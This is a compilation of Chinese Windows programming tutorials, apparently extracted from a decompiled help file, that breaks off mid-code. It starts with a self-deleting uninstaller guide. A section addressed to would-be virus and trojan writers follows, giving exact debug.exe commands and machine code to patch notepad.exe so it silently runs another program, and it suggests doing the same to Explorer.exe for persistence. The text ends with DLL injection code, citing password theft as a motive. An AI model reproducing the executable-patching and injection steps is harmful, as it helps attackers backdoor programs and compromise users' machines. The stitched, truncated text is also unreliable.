    当我在编写“What To Do”程序（这是作者编写的一个应用程序，小巧玲珑，很实用——译者注）时，就想写一个自己的安装和卸载代码，主要目的是想随心所欲地控制整个安装/卸载过程中用户所看到的画面。本文我们就来讨论如何利用自删除的动态链接库（DLL）实现自删除的可执行程序，从而实现程序的安装/卸载。相信很多朋友在编写 Windows 程序时都想这么做，本文还将展示一些非常有用的相关技术，一定让你大开眼界......

实现自删除卸载程序的难点

    编写卸载程序最具挑战性的部分是如何让卸载程序在删除完目标程序文件和相关目录之后自己删除自己。此外，卸载程序还必须能在所有 Windows 操作系统平台（Windows 9x、Windows NT、Windows 2000、Windows XP.....）上运行，不需要用户下载任何附加组件。我在网上搜索了一番，找到一些相关的资料介绍如何自删除可执行程序文件，但是大多数所建议的解决方案都存在一个问题，那就是只能在某个版本的 Windows 上工作。有些方法通过修改线程属性来实现，这样做一般都会导致定时问题。还有一些方法运行时出现严重错误，根本就不能用。我琢磨着寻求一种更好的解决方法来实现可执行程序的自删除功能：用自删除的 DLL 实现自删除的可执行程序，从而突破上述诸方法的局限。
实用程序 rundll32.exe 介绍

    从所周知，DLL的代码通常需要先加载到内存之后才能执行，那么如何执行某个DLL导出的代码而不用创建加载和调用该 DLL 的 EXE 文件呢？方法如下：从 Windows 95 开始的每个 Windows 操作系统版本都附带一个系统实用程序：rundll32.exe。利用它可以象下面这样执行某些 DLL（但不是所有）输出的任何函数：
rundll32.exe DllName,ExportedfnName args
ExportedfnName 是DLL输出的函数名。在编写供 rundll32 使用的 DLL时，可以象下面这样来声明输出函数：
extern "C" __declspec(dllexport) void CALLBACK FunctionName (
HWND hwnd,
HINSTANCE hInstance,
LPTSTR lpCmdLine,
int nCmdShow
)
{ ... }

rundll32.exe 根据函数参数列表对函数进行调用，但根据经验，实际上用得上的参数值只有一个，那就是 lpCmdLine，该参数接收运行 rundll32.exe 时传入的参数值；__declspec(dllexport)的目的是输出函数；extern "C" 使输出的函数名有修饰符，如：_FunctionName@16 （函数名中被强制包含函数参数的大小，详细信息请参见 MSDN 中有关DLL输出函数调用规范说明）。rundll32.exe 加载指定的 DLL 并调用通过 args 参数传入的 lpCmdLine 的值指定的输出函数。有关 rundll32.exe 的正式文档参见 MSDN 库相关资料（Q164787）：
http://support.microsoft.com/default.aspx?scid=kb;en-us;164787
实现能自删除的 DLL
下面是实现自删除DLL的示范代码：
#include <windows.h>
HMODULE g_hmodDLL;
extern "C" BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD reason, LPVOID)
{
if (reason == DLL_PROCESS_ATTACH)
g_hmodDLL = hinstDLL;
return TRUE;
}
extern "C" __declspec(dllexport) void CALLBACK MagicDel(HWND,
HINSTANCE,
LPTSTR lpCmdLine,
int)
{
// 延时2秒
Sleep(2000);
// 删除创建该进程的可执行文件
DeleteFile(lpCmdLine);
// 删除DLL自己
char filenameDLL[MAX_PATH];
GetModuleFileName(g_hmodDLL, filenameDLL, sizeof(filenameDLL));
__asm
{
lea eax, filenameDLL
push 0
push 0
push eax
push ExitProcess
push g_hmodDLL
push DeleteFile
push FreeLibrary
ret
}
}

    上面这段代码首先删除某个文件，然后自删除。DllMain 是DLL的入口函数，当首次加载动态链接库时该函数被调用，此时将模块句柄赋值给全局变量 g_hmodDLL，以便梢后使用它来获取 DLL 本身的文件名。在 MagicDel 函数中，lpCmdLine 是DLL要删除的可执行文件的名称（如：卸载程序的文件名）。要删除它很容易——用 Sleep 做一个延时，以便可执行程序的进程有时间退出并调用 DeleteFile。为了掌握 MagicDel 的实现细节，你可以将可执行程序的进程句柄传给MagicDel并在调用 DeleteFile 之前做一个等待，看看会发生什么？
    要让 DLL 进行自删除需要一点诀窍。rundll32 调用 LoadModule 将 DLL 加载到它的地址空间。如果 DLL 函数可以返回的话，rundll32 将会退出，从而导致 DLL 被释放（不是被删除）。为了解决这个问题，我们可以执行下面的代码：
FreeLibrary(DLL module handle);
DeleteFile(DLL filename);
ExitProcess(0);

    MagicDel 函数是不能按这样的顺序进行直接调用的，因为 FreeLibary 会使代码页无效。为此， MagicDel 采用将等效的汇编指令压入堆栈，然后执行它们，后跟一个 ret 指令，最后调用 ExitProccess 以防止进程继续往下执行。我参考 Gary Nebbit 在 Windows 开发杂志（WDJ）“Tech Tips”栏目发表的文章编写了一个汇编代码块。如果你用 Visual Studio 以默认选项生成DLL，最终的二进制文件大约为 40K。由于我们打算将 DLL 作为可执行程序的资源，它的体积越小越好，为此，我们必须对它进行瘦身处理。思路是将无用的 C 运行时代码从DLL中删除掉，具体方法如下：
本文例子使用 Visual Studio.NET 2003 中文版编译生成 DLL，先设置项目的编译/链接选项：
项目（P）| [项目名称] 属性（P）... | 链接器 | 输入 | 忽略所有默认库：是（/NODEFAULTLIB），此设置将 /NODEFAULTLIB 选项传给链接器以便过滤掉运行时代码。
由于 DLL 入口点（Entry Point）通常是由运行时库提供（默认为 DllMain），所以完成上述第一步设置之后，还必须显式地将 DLL入口点设置为 DllMain：
项目（P）| [项目名称] 属性（P）... | 链接器 | 高级 | 入口点：DllMain。
如果此时编译生成 DLL，编译器会报如下两个 无法解析的外部符号( unresolved externals ) 错误：
error LNK2019: 无法解析的外部符号 ___security_cookie ，该符号在函数 _MagicDel@16 中被引用
error LNK2019: 无法解析的外部符号 @__security_check_cookie@4 ，该符号在函数 _MagicDel@16 中被引用
解决方法是进行下一步设置。

项目（P）| [项目名称] 属性（P）... | C/C++ | 代码生成 | 缓冲区安全检查：否，
该设置不会将 /GS 标志传给编译器，从而摆脱 unresolved externals 错误。
好了，现在编译生成 DLL，最终的 DLL 大小为 3K，实际的文件大小只有 2.5K。
实现能自删除的可执行程序

    这里所用的主要思路是将一个能自删除的 DLL 作为资源保存在拟实现自删除的可执行程序中，然后在需要时重新创建它，同时，启动一个 rundll32.exe 进程实现删除行为。
    下面是用于将DLL存储为资源的头文件和资源文件。资源类型值只要大于 256 都可以，这是为用户定义类型预留的。此外还有一种可选方法是将 DLL 二进制文件以字节数组的形式直接存储在源中：

在资源中包含一个文件
// SelfDelete.h
#define RC_BINARYTYPE 256
#define ID_MAGICDEL_DLL 100
// SelfDelete.rc
#include "SelfDelete.h"
ID_MAGICDEL_DLL RC_BINARYTYPE MagicDel.dll

下面是可执行程序关键代码：
#include <windows.h>
#include "SelfDelete.h"
void WriteResourceToFile(HINSTANCE hInstance,
int idResource,
char const *filename)
{
// 存取二进制资源
HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(idResource),
MAKEINTRESOURCE(RC_BINARYTYPE));
HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
void *pvRes = LockResource(hgRes);
DWORD cbRes = SizeofResource(hInstance, hResInfo);
// 将二进制资源写到文件
HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, 0);
DWORD cbWritten;
WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);
CloseHandle(hFile);
}
void SelfDelete(HINSTANCE hInstance)
{
WriteResourceToFile(hInstance, ID_MAGICDEL_DLL, "magicdel.dll");
// 生成命令行
// 1. 查找 rundll32.exe
char
        commandLine[MAX_PATH * 3];
GetWindowsDirectory(commandLine,
        sizeof(commandLine));
lstrcat(commandLine, "\\rundll32.exe");
if
        (GetFileAttributes(commandLine) ==
        INVALID_FILE_ATTRIBUTES)
{
GetSystemDirectory(commandLine,
        sizeof(commandLine));
lstrcat(commandLine, "\\rundll32.exe");
}
// 2. 添加 rundll32.exe
        参数
lstrcat(commandLine, " magicdel.dll,_MagicDel@16 ");
// 3.
        添加本文件名
char thisName[MAX_PATH];
GetModuleFileName(hInstance,
        thisName, sizeof(thisName));
lstrcat(commandLine, thisName);
//
        执行命令行
PROCESS_INFORMATION procInfo;
STARTUPINFO startInfo;
memset(&startInfo, 0, sizeof(startInfo));
startInfo.dwFlags =
        STARTF_FORCEOFFFEEDBACK;
CreateProcess(0, commandLine, 0, 0, FALSE,
        NORMAL_PRIORITY_CLASS, 0, 0,
&startInfo,
        &procInfo);
}
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
SelfDelete(hInstance);
}

    WriteResourceToFile 的功能是存取二进制资源，以便能在磁盘中重建 DLL。Windows 资源 API 提供了一个指向原始数据的指针。
SelfDelete 的作用是重新创建DLL并生成如下命令行启动 rundll32.exe：
path\rundll32.exe magicdel.dll,_MagicDel@16 path\executableName
    rundll32.exe 位于 Windows 目录或者 System 目录中，所以 SelfDelete 检查它的位置是否正确。当 CreateProcess 被调用执行命令行时，必须设置
STARTF_FORCE-OFFFEEDBACK 标志以防止 Windows 在运行 rundll32.exe 时显示表示忙的沙漏或光标。这样做以后用户不会感觉到有新的进程正在运行。在这个新进程退出之后，DLL 和原来的可执行文件都不见了。
    为了让自删除的可执行程序不依赖于 C 运行时DLL，可执行程序必须静态链接到运行时库代码。为此修改项目编译选项即可：
项目（P）| [项目名称] 属性（P）... | C/C++ | 代码生成 | 运行时库：[单线程（/ML）] 或者 [多线程（/MT）]（或者任何不包含此DLL的选项值）
    此自删除技术在所有 Windows 版本中都工作得很稳定。在实际运用中，卸载程序首先将自己的拷贝放到 Windows 临时（Temp）目录，以便能删除所有程序文件和相关目录，最后它用自删除的 DLL 把自己删掉。
编写安装程序

    确定了安装程序要做些什么事情之后，接着是制作安装程序。现在很多的安装程序都是由用户从Internet上下载，然后在本地运行。那么下载的文件体积越小越好，为此最有效的方法是对文件进行压缩处理。如何让用户最先看到的画面是我的程序画面而不是其它公司的安装程序画面呢，好在Windows提供了这样的支持。
    首先创建一个交互式的 Setup 程序，它显示软件许可协议，提示用户安装选项，拷贝文件，然后进行其余的设置工作。然后将 Setup 程序的压缩版本作为资源保存在安装程序（installer）中。这个安装程序要做的只是将 Setup 程序二进制资源重建后写回磁盘，解压缩，然后用一个新进程启动它。保存和读写二进制资源并不难——本文前面已经描述了处理细节和代码。
    自从 Windows 95 开始的每个 Windows 平台都带一组解压缩文件的 API——LZCopy。下面是安装程序使用这个 API 的示例代码：
// install.h
//
#define RC_BINARYTYPE 256
#define ID_COMPRESSED_SETUP 100
//
// install.rc
//
#include "install.h"
ID_COMPRESSED_SETUP RC_BINARYTYPE AppSetup.ex_
//
// install.cpp
//
#include <windows.h>
#include "install.h"
void WriteResourceToFile(HINSTANCE hInstance,
int idResource,
char const *filename)
{
// 参见前述代码
}
void DecompressFile(char const *source, char const *dest)
{
OFSTRUCT ofs;
ofs.cBytes = sizeof(ofs);
int zhfSource = LZOpenFile(const_cast<char *>(source), &ofs, OF_READ);
int zhfDest = LZOpenFile(const_cast<char *>(dest), &ofs,
OF_CREATE | OF_WRITE);
LZCopy(zhfSource, zhfDest);
LZClose(zhfSource);
LZClose(zhfDest);
}
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
WriteResourceToFile(hInstance, ID_COMPRESSED_SETUP, "AppSetup.ex_");
DecompressFile("AppSetup.ex_", "AppSetup.exe");
DeleteFile("AppSetup.ex_");
// 启动 AppSetup.exe
PROCESS_INFORMATION procInfo;
STARTUPINFO startInfo;
memset(&startInfo, 0, sizeof(startInfo));
CreateProcess(0, "AppSetup.exe", 0, 0, FALSE, NORMAL_PRIORITY_CLASS, 0, 0,
&startInfo, &procInfo);
}

    从代码中可以看到压缩的 Setup 程序是如何作为安装程序的资源保存的。按照本文前面讨论的思路。DecompressFile 函数示范了 LZCopy API 的使用方法。安装程序重新创建 AppSetup.exe，然后运行它。为了顺利编译和生成安装程序，需要将 lz32.lib 添加到项目的编译选项中，通常这个文件在 Visual Studio 的安装目录中，如：
Visual Studio .NET 2003:
C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\PlatformSDK\Lib
Visual C++ 6.0:
C:\Program Files\Microsoft Visual Studio\VC98\Lib

在 Visual Studio.NET 中的添加方法是：
项目（P）| [项目名称] 属性（P）... | 链接器 | 附加库目录：[添加上述路径之一]
    此外，为了摆脱对 C运行时DLL的依赖，必须用静态链接到运行库代码：
项目（P）| [项目名称] 属性（P）... | C/C++ | 代码生成 | 运行时库：[单线程（/ML）] 或者 [多线程（/MT）]（或者任何不包含此DLL的选项值）
    注意这里安装程序不必等待 Setup 程序完成工作，因为 AppSetup.exe 可以在完成工作后用自删除 DLL 来进行自我删除。
    使用 LZCopy API 最具技巧性的部分是它只能解压缩由 compress.exe 压缩的文件。compress.exe是微软公司的一款压缩文件命令行实用程序，它随 SDK 一起提供。也可以在微软的官方FPT站点下载：ftp://ftp.microsoft.com/softlib/mslfiles/CP0982.EXE。运行EXE后会有几个解包文件，其中包括 compress.exe，其它的文件可以忽略或删除。compress.exe 的使用方法如下：
compress SourceName DestinationName
    所有 Windows 版本都内建了解压缩支持，利用它很容易编写安装程序。此外，所有 Windows 版本也都包含了另一个实用程序：expand.exe。用它可以在命令行进行解压缩处理。
总结

    借助自删除 DLL，二进制资源以及 Windows 内建的解压缩支持可以创建自己的安装程序和卸载程序，从而轻松控制用户安装和卸载程序时屏幕的每一个方面....


给想写嵌入式病毒和木马的人

我们都知道在PE文件中有很多空隙，所以我们就有可能给PE文件打补丁.做法是在空隙中插入我们的补丁代码.
下面我通过实例来教大家给notepad.exe(记事本)程序来打个补丁，使得notepad.exe运行时先运行我的pach.exe程序，方法是:
1.在notepad.exe的section间隙中插入
ShellExecute(0,'open','pach.exe',0,0,5)这个api函数调用
2.后面加入jmp old_begin来跳回原来的程序启动点执行原来的代码
3.修改程序的入口点为新的入口点
经过这三步操作后，你就为notepad.exe程序打上了补丁，以后每次执行notepad.exe都会先执行pach.exe程序了.
听起来很简单，做起来麻烦，我们来看看如何实际操作吧!
首先我们需要有个debug.exe用来修改notepad.exe程序的内容，这是windows自带的，你不用费事找的,当然你要分析pe文件的结构和他的反汇编指令的话还要一个dumppe.exe程序，他是masm32汇编器自带的一个免费程序，功能强大，我们分析pe格式和反汇编码就用他了,如果你没有这个程序也没关系，想要的话从这里下载就行http://njhhack.top263.net/dumppe.zip当然我们还要一个win97的操作系统，因为我们对他的notepad.exe程序打补丁.
好了，准备好后，我们开始工作了，先把notepad.exe复制到c:\n.exe,c:\n
然后我们对n进行手术,首先我们分析n.exe的内部结构,用dumppe -disasm n.exe>n.txt
好了，n.txt中包含了我们要的所有信息,当然我们只对下面的几个内容感兴趣:
------------------------------------------------
Address of Entry Point 00001000
-------------------------------------------------
01 .text Virtual Address 00001000
Virtual Size 00003A9B
----------------------------------------------------
00402E20 FF1578734000 call dword ptr [ShellExecuteA]
-----------------------------------------------------------------
上面这三部分信息分别是什么含义呢?
1.其中Address of Entry Point 00001000
表示程序的入口点为1000,这个很重要，因为我们的程序执行完后要跳回这个入口点,
2.其中 01 .text Virtual Address 00001000
Virtual Size 00003A9B
表示代码段的虚拟地址从1000开始,大小为3a9b,这个也很重要，因为我知道每个
section以200对齐,现在大小为3a9b,比对齐后的3c00要少，所以代码段有空隙，我们就可
以在此插入自已的代码了,空隙的大小为3c00-3a9b=165大小,足够了,
3.其中00402E20 FF1578734000 call dword ptr [ShellExecuteA]
是一个反汇编代码，我们了解到ShellExecuteA的调用的机器码为FF1578734000,
有了上面这三个重要信息后，我们开始最艰难的工作了:
=============================================================================
1.我们修改代码段的大小,把Virtual Size的值由00003A9B改为00003C00,这样
我们的代码才能被装入内存.因为Virtual Size值存在180的位置，所以我们可以这么做:
debug n ↙
-f280 l2 0,3c
-w
-q
这样我们就改好了代码段的大小
2.我们修改程序的入口地址为3a9d+1000=4a9d,方法如下
因为入口地址在a8这个位置,所以这么做
debug n ↙
-f1a8 l2 9d,4a
-w
-q
这样我们修改好了入口地址
3.最后一步最难了，就是设计汇编代码了，来吧，精神点!
-------------------------------------------------------
内存地址 机器码 汇编指令
-------------------------------------------------------
00404A9D 6A05 push 5
00404A9F 6A00 push 0
00404AA1 6A00 push 0
00404AA3 68E04B4000 push 404BE0h
00404AA8 68F04B4000 push 404BF0h
00404AAD 6A00 push 0
00404AAF FF1578734000 call dword ptr [ShellExecuteA]
00404AB5 E941010000 jmp loc_00404BFB

00404BE0 6861636B2E657865 db 'pach.exe',0
00404BF0 6F70656E db 'open',0
00404BFB E900C4FFFF jmp loc_00401000
--------------------------------------------------------------
这就是我们要写的全部汇编指令，不长，但你要懂他的原理,好吧，我们来分析
其中的
push 5
push 0
push 0
push 404BE0h
push 404BF0h
push 0
是把6个参数压入堆栈，供ShellExecute函数使用,至于该函数的参数结构，大家看win32.hlp的描述
然后call dword ptr [ShellExecuteA]这是调用这个函数了，其效果等同于下面的C语言格式
ShellExecuteA(0,'open','pach.exe',0,0,5);
也就是说最先压入堆栈的参数在函数的最右边,其中'open','pach.exe'分别相当于404BE0h,404BF0h
这两个内存地址,因为在该函数中，字符串参数的传递是传的字符串地址，因此
00404BE0 6861636B2E657865 db 'pach.exe',0
00404BF0 6F70656E db 'open',0
这上面两行就是在内存中定义了两个字符串.
00404AB5 E941010000 jmp loc_00404BFB
上面这行是在call 完函数后跳到00404BFB这个地址.
00404BFB E900C4FFFF jmp loc_00401000
这一行是跳回原来的入口地址1000，执行原来的程序.
-----------------------------------------------------------------
好了，原理讲完了，我们最后要把这些指令放入代码段，当然就是把机器码放进去了,方
法如下:
因为代码段在400位置，而我们新入口点在3b9d，所以开始放数的地方是100+400+3a9d=3f9d
其中加的100是debug在内存中的基地址,所以做法如下:
debug n ↙
-f3f9d l1d 6a,5,6a,0,6a,0,68,e0,4b,40,0,68,f0,4b,40,0,6a,0,ff,15,78,73,40,0,e9,41,1,0,0
-f40e0 l9 'pach.exe',0
-f40f0 l5 'open',0
-f40fb l5 e9,0,c4,ff,ff
-w
-q
好了，我们终于完成了最艰难的任务，可以颀赏一下成果了，把n.exe用n代换，方法为copy n n.exe打开n.exe
我们发现，在启动记事本程序的时候，同时打开了pach.exe这个程序，呵呵，我们终于成功了
想看效果，到这里下载njhhack.top263.net/pach.zip这个不是木马，是演示程序，大家不要害怕
---------------------------------------------------
用同样的方法，你可以给任何程序打补丁，只要他在程序中调用了ShellExecute,WinExec,CreateProcess,...
这些函数就行，比如我们可以给Explorer.exe打补丁，这样我们就可以在启动电脑时，自动运行pach.exe程序了
你还可以给很多这样的程序打补丁，只要你愿意.
现在大家知道汇编语言有多有用了吧，以后好好学吧，当然还要学pe文件的格式哟.

This file is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


进行dll注入的3种方法
OICQ：24149877 from:网络技术
在WINDOWS中，每个进程都有自己独立的地址空间，这样一个应用程序就无法进入另一个进程的地址空间而不会破坏另一个进程的运行，这样使得系统更加的稳定。但这样一来，相反的，如果我们要对我们感兴趣的进程进行操作也就变得复杂起来。比如，我们要为另一个进程创建的窗口建立子类或是要想从其中一个感兴趣的进程中取得一些有趣的信息（比如你想得到WIN2000用户登录的密码）。而DLL注入技术就是正好可以解决这些问题。DLL注入就是将DLL插入到其它你指定的进程的地址空间中，使得我们可以对感兴趣的进程进行操作。

    在我们的DLL注入到指定的进程空间时，为了可以使我们更清楚地看到它已经成功对注入到了指定的进程空间，所以我们有需要使用一个简单的工具来查看指定的进程空间中所载入的所有模块，以便确定我们的DLL是否已经成功注入。如果你系统中装有WINDOWS优化大师，那么你可以利用它提供的进程工具来查看，没有也没关系，我用BCB写了一个小工具，虽然不怎么方便，但也可以清楚地看到指定进程空间中的所有载入模块。
    该工具的主要代码如下：

//---------------------------------------------------------------------------
void __fastcall TfrmMain::btLookClick(TObject *Sender)
{
DWORD dwProcessId;
BOOL bRet;
MODULEENTRY32 hMod = {sizeof(hMod)};
HANDLE hthSnapshot = NULL;
BOOL bMoreMods = FALSE;
ListView->Clear();
if (Edit->Text == "")
return;
else
dwProcessId = StrToInt(Edit->Text);

// 为进程建立一个快照
hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
dwProcessId);
if (hthSnapshot == NULL)
{
MessageBox(Handle,("CreateToolhelp32Snapshot failed with error "
+ IntToStr(GetLastError())).c_str(),"Error!",
MB_ICONINFORMATION + MB_OK);
return;
}
// 获取模块列表中的模块
bMoreMods = Module32First(hthSnapshot, &hMod);
if (bMoreMods == FALSE)
{
MessageBox(Handle,("Module32First failed with error "
+ IntToStr(GetLastError())).c_str(),"Error!",
MB_ICONINFORMATION + MB_OK);
return;
}
for (; bMoreMods; bMoreMods = Module32Next(hthSnapshot, &hMod))
{
TListItem *Item;
Item = ListView->Items->Add();
Item->Caption = String(hMod.szExePath);
Item->ImageIndex = 0;
}
// 关闭句柄
CloseHandle(hthSnapshot);
}

    接下来就开始我们的正题吧。
    DLL注入主要有三种方法，即应用HOOK技术、创建远程线程和特洛伊DLL三种。

    一、应用HOOK技术进行DLL注入
    我原来写过有关HOOK的介绍，如果你看过了或者是以前写过HOOK程序，那么你已经会这种DLL注入了。它其它就是为系统或某个线程安装一个钩子。这里要说的是，如果是全局钩子，那么你的DLL将会在进程调用时载入到任意一个调用的进程的地址空间中，这样是相当浪费资源的。因此我在下载的演示中就只对某一个指定的线程安装线程钩子。
    １、用BCB建立一个DLL工程（如果你用的是VC或其它，请自己对照），输入以下代码：
//===========================================================================
// 文件: UnitLib.cpp
// 说明: 演示利用钩子技术进行DLL注入.
// 将本DLL中的代码注入到指定的进程空间.
// 作者: 陶冶（无邪）
//===========================================================================
// 函数声明
extern "C" __declspec(dllexport) __stdcall
bool SetHook(DWORD dwThreadId);
extern "C" __declspec(dllexport) __stdcall
LRESULT CALLBACK MyProc(int nCode, WPARAM wParam, LPARAM lParam);

static HHOOK hHook = NULL; // 钩子句柄
static HINSTANCE hInst; // 当前DLL句柄
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
hInst = hinst;
return 1;
}
//---------------------------------------------------------------------------
// 安装钩子函数
bool __declspec(dllexport) __stdcall SetHook(DWORD dwThreadId)
{
if (dwThreadId != 0)
{
MessageBox(NULL, ("DLL已经注入!nThreadId = " +
IntToStr(dwThreadId)).c_str(),"DLL",
MB_ICONINFORMATION + MB_OK);
        // 安装指定线程的钩子
hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)MyProc,
hInst,dwThreadId);
if (hHook != NULL)
return true;
}else
{
MessageBox(NULL, "DLL即将从记事本进程空间中撤出!","DLL",
MB_ICONINFORMATION + MB_OK);
return (UnhookWindowsHookEx(hHook));
}
return true;
}

// 钩子函数
LRESULT CALLBACK __declspec(dllexport) __stdcall
MyProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    // 因为只是演示DLL注入，所以这里什么也不做，交给系统处理
return (CallNextHookEx(hHook, nCode, wParam, lParam));
}
//---------------------------------------------------------------------------

该DLL中有两个函数，一个为安装钩子函数（SetHook），另一个为钩子函数（MyProc）。其中安装钩子函数提供了一个参数，由该参数指定安装到哪个线程，如果该参数为０，则卸载钩子。
    编译该工程，即生成我们要用来注入到指定进程中的DLL文件了。

２、建立测试工程。用BCB建立一个应用程序工程，在窗体中添加两个按钮，一个用来安装线程钩子，一个用来卸载。代码如下：
//---------------------------------------------------------------------------
// SetHook函数原型声明
typedef BOOL (WINAPI *LPSETHOOK)(unsigned long dwThreadId);

//---------------------------------------------------------------------------
__fastcall TfrmMain::TfrmMain(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
// 安装钩子
void __fastcall TfrmMain::Button1Click(TObject *Sender)
{
String szPath;
LPSETHOOK lproc;
HANDLE hDll;
BOOL bRet;
PROCESS_INFORMATION info;
STARTUPINFO start;

memset(&start, 0, sizeof(start));
// 取得要载入的DLL文件名
szPath = Application->ExeName;
szPath = szPath.SubString(0, szPath.Length()
- String(StrRScan(szPath.c_str(),'\')).Length());
szPath = szPath + "\DllLib.dll";
    // 载入DLL
hDll = LoadLibrary(szPath.c_str());
if (hDll != NULL)
{
lproc = (LPSETHOOK)GetProcAddress(hDll,"SetHook");
if (lproc != NULL)
{
// 因为没有适当的工具可以取得线程ＩＤ，也为了简单起见，所以这里新创建了一个记事本进程，以便取得它的线程ＩＤ，对其安装钩子，把我们的DLL注入到记事本进程中。
bRet = CreateProcess(NULL,
"c:\winnt\system32\notepad.exe",
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&start,
&info);
if (bRet != 0)
{
if((*lproc)(info.dwThreadId) == false)
ShowMessage("Sethook failed with error " +
IntToStr(GetLastError()));
}
else
{
ShowMessage("CreateProcess failed with error " +
IntToStr(GetLastError()));
}
}
}
}
//---------------------------------------------------------------------------
//　卸载钩子
void __fastcall TfrmMain::Button2Click(TObject *Sender)
{
String szPath;
LPSETHOOK lproc;
HANDLE hDll;

szPath = Application->ExeName;
szPath = szPath.SubString(0, szPath.Length()
- String(StrRScan(szPath.c_str(),'\')).Length());
szPath = szPath + "\DllLib.dll";
hDll = LoadLibrary(szPath.c_str());
if (hDll != NULL)
{
lproc = (LPSETHOOK)GetProcAddress(hDll,"SetHook");
if (lproc != NULL)
(*lproc)(0);
}
}
//---------------------------------------------------------------------------
    接下来生成可执行文件，点击第一个安装钩子按钮，然后你就可以用我们最开始写的查看模块的工具来查看了，你将会在模块中看到你刚才DLL的路径及文件名，这表明我们已经成功地将自己的DLL注入到了记事本进程空间。点击卸载按钮后，再查看记事本进程中的模块，将不会看到我们DLL文件的完整文件名，这表明已经成功撤消了对记事本进程的注入。

    二、利用远程线程来进行DLL注入
        这种方法同前一种方法相比，要显得复杂一些，并且这种方法只能在WIN2000中使用（XP，和最新的2003不知道）。具体步骤如下：
    １）、取得远程进程的进程ID；
    ２）、在远程进程空间中分配一段内存用来存放要注入的DLL完整路径；
    ３）、将要注入的DLL的路径写到刚才分配的远程进程空间；
    ４）、从Kernel32.dll中取得LoadLibray的地址；
    ５）、调用CreateRemoteThread函数以从Kernel32.dll中取得的LoadLibrary函数的地址为线程函数的地址，以我们要注入的DLL文件名为参数，创建远程线程；
    在第二三步中，为什么要把我们要注入的DLL的文件名写到远程进程的地址空间进行操作，《WINDOWS核心编程》中是这样描述的：
“（要注入的DLL文件名）字符串是在调用进程的地址空间中。该字符串的地址已经被赋予新创建的远程线程，该线程将它传递给L o a d L i b r a r y A。但是，当L o a d L i b r a r y A取消对内存地址的引用时， D L L路径名字符串将不再存在，远程进程的线程就可能引发访问违规”；

    至于第四步中为什么不直接对LoadLibrary进行调用，《WINDOWS核心编程》中是这样描述的：
“如果在对C r e a t e R e m o t e T h r e a d的调用中使用一个对L o a d L i b r a r y A的直接引用，这将在你的模块的输入节中转换成L o a d L i b r a r y A的形实替换程序的地址。将形实替换程序的地址作为远程线程的起始地址来传递，会导致远程线程开始执行一些令人莫名其妙的东西。其结果很可能造成访问违规。”

好了，下面开始我们的例子。
    １、同上面应用HOOK来进行DLL注入一样，我们先创建一个DLL工程，这个DLL完全可以不编写任何代码，因为我们只想将DLL注入到指定进程就达到目的了，但为了好看，我还是随便在其中写一个API函数。代码如下：

extern "C" __declspec(dllexport) __stdcall void About();

int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
return 1;
}
//---------------------------------------------------------------------------

void __declspec(dllexport) __stdcall About()
{
MessageBox(NULL,"这个DLL模块演示了DLL的注入技术。n"
"通过程序的调用LoadLibrary将本模块注入到指定的"
"进程的地址空间中。", "DLL注入技术",
MB_ICONINFORMATION + MB_OK);
}
    编译它，就得到我们用来注入的DLL文件了。接下来是测试工程。
    ２、编写测试工程。用BCB建立一个应用程序工程，在窗体中放入两个按钮，一个用来注入，一个用来撤消，另外还有一个文本框控件，用来等待用户输入进程ID号。代码如下：

//---------------------------------------------------------------------------

// DLL注入函数
BOOL WINAPI LoadLib(DWORD dwProcessId, LPWSTR lpszLibName)
{
HANDLE hProcess = NULL,
hThread = NULL;
LPWSTR lpszRemoteFile = NULL;

// 打开远程进程
hProcess = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE,
FALSE,
dwProcessId);
if (hProcess == NULL)
{
MessageBox(NULL, ("OpenProcess failed with error "
+ IntToStr(GetLastError())).c_str(), "Error",
MB_ICONINFORMATION + MB_OK);
return FALSE;
}

// 在远程进程中分配存贮DLL文件名的空间
lpszRemoteFile = (LPWSTR)VirtualAllocEx(hProcess, NULL,
sizeof(WCHAR) * lstrlenW(lpszLibName) + 1,
MEM_COMMIT, PAGE_READWRITE);
if (lpszRemoteFile == NULL)
{
MessageBox(NULL, ("VirtualAllocEx failed with error "
+ IntToStr(GetLastError())).c_str(), "Error",
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 复制DLL文件名到远程刚分配的进程空间
if (!WriteProcessMemory(hProcess, lpszRemoteFile,
(PVOID)lpszLibName, sizeof(WCHAR) * lstrlenW(lpszLibName) + 1,
NULL))
{
MessageBox(NULL, ("WriteProcessMemory failed with error "
+ IntToStr(GetLastError())).c_str(), "Error",
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 取得LoadLibrary函数在Kennel32.dll中的地址
PTHREAD_START_ROUTINE pfnThreadRtn =
(PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle("Kernel32.dll"),"LoadLibraryW");
if (pfnThreadRtn == NULL)
{
MessageBox(NULL, ("GetProcAddress failed with error "
+ IntToStr(GetLastError())).c_str(), "Error",
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 创建远程线程
hThread = CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn, // LoadLibrary地址
lpszRemoteFile, // 要加载的DLL名
0,
NULL);
if (hThread == NULL)
{
MessageBox(NULL, ("CreateRemoteThread failed with error "
+ IntToStr(GetLastError())).c_str(), "Error",
MB_ICONINFORMATION + MB_OK);
